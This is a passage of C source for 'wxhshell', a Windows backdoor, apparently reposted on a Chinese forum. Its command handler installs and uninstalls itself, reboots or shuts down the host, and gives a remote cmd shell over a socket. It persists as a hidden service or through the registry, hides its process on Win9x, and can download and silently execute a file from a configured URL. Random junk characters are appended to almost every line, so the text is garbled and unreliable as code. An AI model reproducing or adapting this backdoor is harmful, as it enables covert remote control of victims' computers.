    switch(cmd[0]) { *"ykTqa  
  L8:]`M Q0  
  // 帮助 chO'Q+pw  
  case '?': { hg&w=l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q)G!Y (g\  
    break; ~Un64M?  
  } AJ\VY;m7F  
  // 安装 (L y%{ Y  
  case 'i': { i<#h]o C}  
    if(Install())  nOoKGT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .>kccLr:z  
    else t}]9VD9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c>S"`r  
    break; >G<\1R  
    } N a. nA  
  // 卸载 KP=D! l&q  
  case 'r': { t&R!5^R  
    if(Uninstall()) C|4 U78f{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nY{i>Y  
    else NokXE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U~{Sa+  
    break; gb=80s0  
    } YER:ICQ  
  // 显示 wxhshell 所在路径 ZI58XS+  
  case 'p': { DYo<5^0  
    char svExeFile[MAX_PATH]; wi\z>'R  
    strcpy(svExeFile,"\n\r"); #)_J)/h  
      strcat(svExeFile,ExeFile); _8[UtZYG  
        send(wsh,svExeFile,strlen(svExeFile),0); ^e?$ ]JiA!  
    break; F2bm+0vOJ  
    } e86Aqehle  
  // 重启 'bB>$E  
  case 'b': { v9E+(4I9_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &<gUFcw7Ui  
    if(Boot(REBOOT)) 7szls71/=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j`2B}@2  
    else { MV0<^/p|  
    closesocket(wsh); 4ef*9|^x#  
    ExitThread(0); .Lojzx  
    } 20rN,@2<  
    break; n> MD\ZS  
    } N@cMM1  
  // 关机 5mI?pfm  
  case 'd': { 6Cl+KcJH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v]WH8GI  
    if(Boot(SHUTDOWN)) 9U2Px$E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \R86;9ov  
    else { @Pxw hlxa  
    closesocket(wsh); DH\wDQ  
    ExitThread(0); a?zR8$t|  
    } EkRdpiLB  
    break; Q&u>7_, Du  
    } Az U|p  
  // 获取shell MxY50 ^}(  
  case 's': { Y*Y&)k6 t  
    CmdShell(wsh); D3%l4.h  
    closesocket(wsh); ')C|`(hs   
    ExitThread(0); ,3:QB_  
    break; 4-y6MH  
  } RI (=HzB  
  // 退出 t-!Rgg$9  
  case 'x': { Z,0O/RFJ.q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /K_ i8!y  
    CloseIt(wsh); :~t<L%tYF  
    break; qPsyqn?Y|  
    } d4d\0[  
  // 离开 &bB6}H(  
  case 'q': { U+4HG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LkaG8#m1R  
    closesocket(wsh); M$,Jg5Dc  
    WSACleanup(); davvI$TA  
    exit(1); k?^%hO>[  
    break; ,q8(]n 4  
        } (-bRj#  
  } nc<qbN  
  } "YuZ fL`bb  
ER{yuw  
  // 提示信息 BwJNi6,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PPN q:,  
}  \C|;F  
  } w3<Z?lj:  
EtGH\?d~]  
  return; ?Rlgv5P!  
} Y.E?;iS  
wOjv[@d  
// shell模块句柄 DWuRJ  
int CmdShell(SOCKET sock) ?#4+r_dP  
{ bKYY{V55  
STARTUPINFO si; u-lrTa""z  
ZeroMemory(&si,sizeof(si)); *7\W=-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %n jOX#.w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :ezA+=ENg  
PROCESS_INFORMATION ProcessInfo; DX|uHbGg  
char cmdline[]="cmd"; pw!@Q?R  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {n\6BTs  
  return 0; w-lrnjs  
} ^Ss<X}es-  
!@( M_Z'  
// 自身启动模式 77``8,  
int StartFromService(void) 6!Qknk$  
{ YQ52~M0L  
typedef struct o1U}/y+R\  
{ w .tW=z5  
  DWORD ExitStatus; > 9o{(j  
  DWORD PebBaseAddress; j?( c}!}  
  DWORD AffinityMask;  ?J<T  
  DWORD BasePriority; n9DbiL1{  
  ULONG UniqueProcessId; ~+<<bzY  
  ULONG InheritedFromUniqueProcessId; g+.0c=G(  
}   PROCESS_BASIC_INFORMATION; T\jAk+$Jo  
mIRAS"Q!m  
PROCNTQSIP NtQueryInformationProcess; C}9Kx }q  
.U<F6I:<md  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; fO #?k<p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,pn ) >  
9MT3T?IS  
  HANDLE             hProcess; 3#9uEDdE  
  PROCESS_BASIC_INFORMATION pbi; RXM}hqeG  
am2a#4`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A$Wx#r7)  
  if(NULL == hInst ) return 0; 0E yAMu  
691G15  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]s _@n!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +miR3~w.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ANotUty;y  
u-kZW1wrQ  
  if (!NtQueryInformationProcess) return 0; ~*,Wj?~+7  
><X $#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w m19T7*L  
  if(!hProcess) return 0; 0F1u W>D1  
0#<WOns1   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uNy!< u  
%w$ mSG  
  CloseHandle(hProcess); ?;_H{/)m  
<z',]hy  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %0lf  
if(hProcess==NULL) return 0; VxkEez'|  
|e:rYLxm:  
HMODULE hMod; ly[lrD0Kn.  
char procName[255]; a/ b92*&k  
unsigned long cbNeeded; kB V/rw  
>{b3>s~T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); };^}2Xo+  
l**3%cTb  
  CloseHandle(hProcess); P0)AU i  
0TmZ*?3!4  
if(strstr(procName,"services")) return 1; // 以服务启动 %;tJQ%6-.S  
w]F!2b!  
  return 0; // 注册表启动 GoazH?%  
} "ct58Y@   
pUGN!3  
// 主模块 dkpQ ZXi9%  
int StartWxhshell(LPSTR lpCmdLine) 6(>WGR  
{ k&!6fZ)  
  SOCKET wsl; $7Cgo&J  
BOOL val=TRUE; [EER4@_  
  int port=0; 7/ t:YBR  
  struct sockaddr_in door; {<!hlB  
%P;[fJ `G  
  if(wscfg.ws_autoins) Install(); QAi1,+y]7w  
u3ST;  
port=atoi(lpCmdLine); L@?e:*h  
12-EDg/1  
if(port<=0) port=wscfg.ws_port; ?;_O 9  
>C*4_J7  
  WSADATA data; nSHNis  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \WX@PfL  
T=>vh*J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6m@0;Ht  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mb1wYh  
  door.sin_family = AF_INET; PV(4$I}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z-I|h~ii  
  door.sin_port = htons(port); hVkO%]?  
[Teh*CV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >e/ r2U  
closesocket(wsl); aDh|48}X  
return 1; i&*<lff  
} 50 *@.!^*  
2 eHx"Ha  
  if(listen(wsl,2) == INVALID_SOCKET) { D?mDG|Z  
closesocket(wsl); _Z$?^gn  
return 1; m@[3~ 6A  
} /S[?{QA  
  Wxhshell(wsl); - zQ<Z E  
  WSACleanup(); Cx,-_  
<S&]$?`{Wi  
return 0; 5e8xKL  
p(?g-  
} vzG ABP  
e,"FnW  
// 以NT服务方式启动 3e *-\TP-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T0Q51Q  
{ MO TE/JG  
DWORD   status = 0; <%&_#<C)  
  DWORD   specificError = 0xfffffff; hX3@f;[B2  
5VZjDg?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7DZTQUb"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z vRxi&Z{?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; C/)`<b(  
  serviceStatus.dwWin32ExitCode     = 0; *E7R(#,yC  
  serviceStatus.dwServiceSpecificExitCode = 0; +|0 t  
  serviceStatus.dwCheckPoint       = 0; >: $"a  
  serviceStatus.dwWaitHint       = 0; x;(g  
lC4PKm no  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bJ6p,]g  
  if (hServiceStatusHandle==0) return; d>/Tu_ y  
TL'0T,Jo  
status = GetLastError(); }/"4|U  
  if (status!=NO_ERROR) %/!+(7 D  
{ <]'|$8&jY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V)h y0_  
    serviceStatus.dwCheckPoint       = 0; ~ aA;<#  
    serviceStatus.dwWaitHint       = 0; t#~XLCE  
    serviceStatus.dwWin32ExitCode     = status; _*n)mlLln  
    serviceStatus.dwServiceSpecificExitCode = specificError; &(7$&Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V:>`*tlh  
    return; d'OGVN  
  } USFg_sO  
87}(AO)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (l_:XG)7~b  
  serviceStatus.dwCheckPoint       = 0; x,uBJ  
  serviceStatus.dwWaitHint       = 0; U6c@Et,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); . pP7"E4]  
} ,cD1{T\  
L;lk.~V4T  
// 处理NT服务事件,比如:启动、停止 32^#RlSu8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _r5wF(Y?7  
{ 7>mhK7l  
switch(fdwControl) Wc\+x1:8  
{ ZB0+GG\  
case SERVICE_CONTROL_STOP: S<pk c8  
  serviceStatus.dwWin32ExitCode = 0; 2vvh|?M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C`EY5"N r  
  serviceStatus.dwCheckPoint   = 0; TzY *;  
  serviceStatus.dwWaitHint     = 0; KSsWjF}d  
  { w5(yCyNp~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =x#&\ui  
  } I^:F)a:  
  return; bRsc-Fz6  
case SERVICE_CONTROL_PAUSE: ;W~4L+e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~ k<SbFp  
  break; 6klD22b2$  
case SERVICE_CONTROL_CONTINUE: HzEGq,.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^/<|f,2  
  break; )# PtV~64  
case SERVICE_CONTROL_INTERROGATE: 1daL y  
  break; -=sf}4A  
}; Q1]Wo9j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *{nunb>WO  
} O4!9{  
+f$Z-U1H/  
// 标准应用程序主函数 ^Et ,TF\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8W$L:{ez  
{ H`5Ct  
x=vK EyS@  
// 获取操作系统版本 BUDGyl/=  
OsIsNt=GetOsVer(); X|Dpt2A=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .l=p[BI  
/tzlbI]z  
  // 从命令行安装 = hhvmo  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,2_w=<hq  
F9O`HFVK  
  // 下载执行文件 4|=vxJ  
if(wscfg.ws_downexe) { gsfhH0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z/c_kf[  
  WinExec(wscfg.ws_filenam,SW_HIDE); -%i#j>  
} "/!'9na{QL  
vnZ4(  
if(!OsIsNt) { |(&oI(l5K  
// 如果时win9x,隐藏进程并且设置为注册表启动 Vmtzig3w[  
HideProc(); 506V0]`/  
StartWxhshell(lpCmdLine); 0$QIfT)  
} Uuz?8/w}#  
else ? oc+ 1e  
  if(StartFromService()) dk8y>uLr_  
  // 以服务方式启动 qCQu^S' iD  
  StartServiceCtrlDispatcher(DispatchTable); I{EIHD<  
else ?b"Vj+1:x  
  // 普通方式启动 m/{Y]D{2  
  StartWxhshell(lpCmdLine); ,ex]$fQ'  
,jTPg/r  
return 0; }_]As}E  
}
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只看该作者 1 发表于: 2006-10-10
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